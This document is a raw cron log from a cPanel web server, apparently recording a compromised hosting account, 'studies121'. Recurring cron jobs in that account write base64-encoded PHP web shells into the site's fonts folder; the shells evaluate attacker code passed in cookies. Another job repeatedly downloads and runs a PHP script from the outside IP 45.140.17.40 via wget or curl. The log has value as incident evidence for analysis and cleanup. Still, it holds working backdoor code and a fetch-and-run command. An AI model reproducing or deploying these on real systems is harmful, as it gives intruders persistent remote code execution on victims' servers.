Sep 12 21:38:01 ip-184-168-122-23 CROND[29099]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 21:38:01 ip-184-168-122-23 CROND[29097]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 21:38:01 ip-184-168-122-23 CROND[29098]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 21:39:01 ip-184-168-122-23 CROND[29196]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 21:39:01 ip-184-168-122-23 CROND[29199]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 21:39:01 ip-184-168-122-23 CROND[29200]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 21:39:01 ip-184-168-122-23 CROND[29202]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 21:39:01 ip-184-168-122-23 CROND[29201]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep 12 21:40:01 ip-184-168-122-23 CROND[29316]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 21:40:01 ip-184-168-122-23 CROND[29318]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 12 21:40:01 ip-184-168-122-23 CROND[29320]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 21:40:01 ip-184-168-122-23 CROND[29323]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 12 21:40:01 ip-184-168-122-23 CROND[29321]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 21:40:01 ip-184-168-122-23 CROND[29325]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 21:40:01 ip-184-168-122-23 CROND[29324]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 21:40:01 ip-184-168-122-23 CROND[29327]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 12 21:41:01 ip-184-168-122-23 CROND[29502]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 21:41:01 ip-184-168-122-23 CROND[29503]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 21:41:01 ip-184-168-122-23 CROND[29505]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 21:41:01 ip-184-168-122-23 CROND[29506]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 21:42:01 ip-184-168-122-23 CROND[29618]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 21:42:01 ip-184-168-122-23 CROND[29620]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 21:42:01 ip-184-168-122-23 CROND[29621]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 21:42:01 ip-184-168-122-23 CROND[29622]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 21:42:01 ip-184-168-122-23 CROND[29623]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 21:43:01 ip-184-168-122-23 CROND[29711]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 21:43:01 ip-184-168-122-23 CROND[29714]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 21:43:01 ip-184-168-122-23 CROND[29713]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 21:43:01 ip-184-168-122-23 CROND[29716]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 21:44:01 ip-184-168-122-23 CROND[29808]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 21:44:01 ip-184-168-122-23 CROND[29810]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 21:44:01 ip-184-168-122-23 CROND[29812]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 21:44:01 ip-184-168-122-23 CROND[29813]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 21:44:01 ip-184-168-122-23 CROND[29814]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 21:45:01 ip-184-168-122-23 CROND[29922]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 21:45:01 ip-184-168-122-23 CROND[29923]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 12 21:45:01 ip-184-168-122-23 CROND[29926]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 21:45:01 ip-184-168-122-23 CROND[29925]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 21:45:01 ip-184-168-122-23 CROND[29930]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 21:45:01 ip-184-168-122-23 CROND[29931]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 12 21:46:01 ip-184-168-122-23 CROND[30112]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 21:46:01 ip-184-168-122-23 CROND[30116]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 21:46:01 ip-184-168-122-23 CROND[30114]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 21:46:01 ip-184-168-122-23 CROND[30115]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 21:46:01 ip-184-168-122-23 CROND[30118]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 12 21:46:01 ip-184-168-122-23 CROND[30117]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 21:46:01 ip-184-168-122-23 CROND[30119]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Sep 12 21:47:01 ip-184-168-122-23 CROND[30220]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 21:47:01 ip-184-168-122-23 CROND[30224]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 21:47:01 ip-184-168-122-23 CROND[30222]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 21:47:01 ip-184-168-122-23 CROND[30223]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 21:48:01 ip-184-168-122-23 CROND[30315]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 21:48:01 ip-184-168-122-23 CROND[30316]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 21:48:01 ip-184-168-122-23 CROND[30320]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 21:48:01 ip-184-168-122-23 CROND[30321]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 21:48:01 ip-184-168-122-23 CROND[30317]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 21:49:01 ip-184-168-122-23 CROND[30413]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 21:49:01 ip-184-168-122-23 CROND[30415]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 21:49:01 ip-184-168-122-23 CROND[30416]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 21:49:01 ip-184-168-122-23 CROND[30417]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 21:50:01 ip-184-168-122-23 CROND[30519]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 12 21:50:01 ip-184-168-122-23 CROND[30522]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 12 21:50:01 ip-184-168-122-23 CROND[30526]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
